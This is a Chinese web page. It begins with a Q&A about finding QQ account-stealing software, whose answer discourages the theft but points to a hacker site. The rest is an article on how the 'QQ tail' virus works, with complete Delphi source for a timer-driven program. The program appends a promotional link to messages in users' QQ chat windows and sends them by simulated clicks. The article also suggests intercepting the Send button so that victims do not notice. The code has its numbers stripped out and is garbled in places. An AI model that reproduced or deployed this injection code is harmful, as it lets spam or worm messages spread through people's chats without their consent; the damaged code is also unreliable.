QQ好友好好盗这个软件为什么不能用?哪里有能用的?
用盗号软件盗取别人的qq号是不道德行为,是违法行为。不管你出自什么动机,最好不要做网络小偷。你去骇客的乐园逛逛,里面的软件应有尽有小心中毒,里面的软件你自己试试吧?别忘了你的电脑最好有正版杀毒软件2个,防火墙开着,安全级别为高、所有系统漏洞已经升级修补。所有防御开启。所有垃圾文件、无用的启动项清除。原始的注册表已经备份。电脑操作正确。祝你好运!!!
QQ尾巴病毒的发送原理分析
近来QQ尾巴病毒大肆发作 我也经常收到网友们发来的带尾巴的消息 于是 好奇心一来 我也来研究研究此病毒的发作原理 首先 我不知道QQ尾巴病毒真正的原理 我只是猜测并且自己写了一个类似的程序来实现它 QQ尾巴的发作情况 当用户打开一个QQ消息发送窗口时 病毒会自动往消息文本框里输入文本 然后不等用户反应过来就发出去了 程序实现 首先要找到QQ消息发送窗口的句柄以及消息文本框与 发送 按钮的窗口句柄 一 如何找到QQ消息发送窗口句柄 QQ消息发送窗口有两种 一种是消息模式 在这种情况下 窗口标题含有 发送消息 字样 一种是聊天模式 窗口标题含有 聊天中 字样 通过枚举窗口就可找到相应的句柄 // 取得QQ的发送消息窗口 function GetQQWnd: HWND; var hCurrentWindow: HWnd; WndText:String; begin hCurrentWindow := GetWindow(Application Handle GW_HWNDFIRST); while hCurrentWindow do begin WndText:=GetWndText(hCurrentWindow); if (Pos( 聊天中 WndText)> ) or (Pos( 发送消息 WndText)> ) then begin Result:=hCurrentWindow; Exit; end; hCurrentWindow := GetWindow(hCurrentWindow GW_HWNDNEXT); end; Result:= ; end; 二 如何找到 发送 按钮窗口句柄 找到了QQ的发送消息窗口后 就可以进一步查找 发送 按钮句柄了 如窗口句柄为qqWnd 则可以用一个循环 查找文本中含有 发送 字样的窗口 经过试验发现 发送 按钮恰恰是窗体的第一个子窗口 这样 可以用 btnWnd:=GetDlgItem(qqWnd ); // 发送按钮 来获得 发送 按钮的句柄 三 如何找到消息文本框窗口句柄 消息文本框并不好找 不过你可以先在消息文本框中输入几个字母 如 abcd 这样我们就可以用上述方法来查找了 不过通过实验后 发现消息文本框并不是QQ窗口的直接子窗口 而是其中一个子窗口的子窗口 通过实验 可以用 txtWnd:=GetWindow(GetDlgItem(qqWnd ) GW_CHILD); // 文本框 来获得 四 如何获得原消息文本框的文本 要获取原消息文本框的文本 只需要一个API函数就行了 如下 // 获得窗口文本 function GetWndText(hWnd: HWND): String; Var Ret:LongInt; mText:PChar; Buf:Integer; begin Ret:=SendMessage(hWnd WM_GETTEXTLENGTH )+ ; GetMem(mText Ret); try Buf:=LongInt(mText); SendMessage(hWnd WM_GETTEXT Ret Buf); Result:=StrPas(mText); finally FreeMem(mText Ret); end; end; 五 如何住原消息文本框里追加文本 与取文本相反 // 发送文本到窗口 procedure SetWndText(hWnd: HWND; Text: String); Var Ret:LongInt; mText:PChar; Buf:Integer; begin GetMem(mText Length(Text)); StrCopy(mText PChar(Text)); try Buf:=LongInt(mText); SendMessage(hWnd WM_SETTEXT Buf); finally FreeMem(mText Length(Text)); end; end; 六 如果让 发送 按钮自动点击 一切都准备好了 现在要开始发送了 为了让消息自动发送 我们可以模拟 发送 按钮被点击了 SendMessage(btnWnd WM_LBUTTONDOWN MK_LBUTTON ); SendMessage(btnWnd WM_LBUTTONUP ); 通过模拟一个鼠标在 开始 按钮上的按下与放开 就实现了点击发送功能 七 其它的定时功能比较简单 在此也不多说了 八 全部源代码如下 unit Unit ; interface uses Windows Messages SysUtils Variants Classes Graphics Controls Forms Dialogs StdCtrls ExtCtrls; type TForm = class(TForm) Timer : TTimer; Button : TButton; Edit : TEdit; Label : TLabel; Button : TButton; procedure Timer Timer(Sender: TObject); procedure Button Click(Sender: TObject); procedure Button Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form : TForm ; implementation {$R * dfm} // 获得窗口文本 function GetWndText(hWnd: HWND): String; Var Ret:LongInt; mText:PChar; Buf:Integer; begin Ret:=SendMessage(hWnd WM_GETTEXTLENGTH )+ ; GetMem(mText Ret); try Buf:=LongInt(mText); SendMessage(hWnd WM_GETTEXT Ret Buf); Result:=StrPas(mText); finally FreeMem(mText Ret); end; end; // 发送文本到窗口 procedure SetWndText(hWnd: HWND; Text: String); Var Ret:LongInt; mText:PChar; Buf:Integer; begin GetMem(mText Length(Text)); StrCopy(mText PChar(Text)); try Buf:=LongInt(mText); SendMessage(hWnd WM_SETTEXT Buf); finally FreeMem(mText Length(Text)); end; end; // 取得QQ的发送消息窗口 function GetQQWnd: HWND; var hCurrentWindow: HWnd; WndText:String; begin hCurrentWindow := GetWindow(Application Handle GW_HWNDFIRST); while hCurrentWindow do begin WndText:=GetWndText(hCurrentWindow); if (Pos( 聊天中 WndText)> ) or (Pos( 发送消息 WndText)> ) then begin Result:=hCurrentWindow; Exit; end; hCurrentWindow := GetWindow(hCurrentWindow GW_HWNDNEXT); end; Result:= ; end; // 定时处理 procedure TimerProc; var qqWnd txtWnd btnWnd:HWND; Msg:String; begin qqWnd:=GetQQWnd; if qqWnd= then Exit; btnWnd:=GetDlgItem(qqWnd ); // 发送按钮 txtWnd:=GetWindow(GetDlgItem(qqWnd ) GW_CHILD); // 文本框 if (btnWnd= ) or (txtWnd= ) then Exit; Msg:=GetWndText(txtWnd); Msg:=Msg+# +# + 欢迎光临绿荫网络// lvyin net ; SetWndText(txtWnd Msg); SendMessage(btnWnd WM_LBUTTONDOWN MK_LBUTTON ); SendMessage(btnWnd WM_LBUTTONUP ); end; procedure TForm Timer Timer(Sender: TObject); begin TimerProc; end; procedure TForm Button Click(Sender: TObject); begin Timer Enabled :=not Timer Enabled; if Timer Enabled then Button Caption := 停 止 else Button Caption := 开 始 ; end; procedure TForm Button Click(Sender: TObject); begin Timer Interval :=StrToInt(Edit Text); end; end 九 总结 上面只讲述了QQ消息自动发送的主要功能 这或许跟QQ尾巴的原理不同(我也不知道) 但总体上应该差不多 如果要做到让用户感觉不到异常 就要改一下了 不要自动发送 而是在当用户点击了 发送 按钮后再把文本加进去 这样的话可拦截 发送 按钮的点击消息 然后再用上述方法把文本加进去 然后把消息交还原程序处理 至于如何让它成为病毒 会自我复制 自我隐藏等功能 那又是另外一个话题了 在此就不多讲了 lishixinzhi/Article/program/Delphi/201311/8482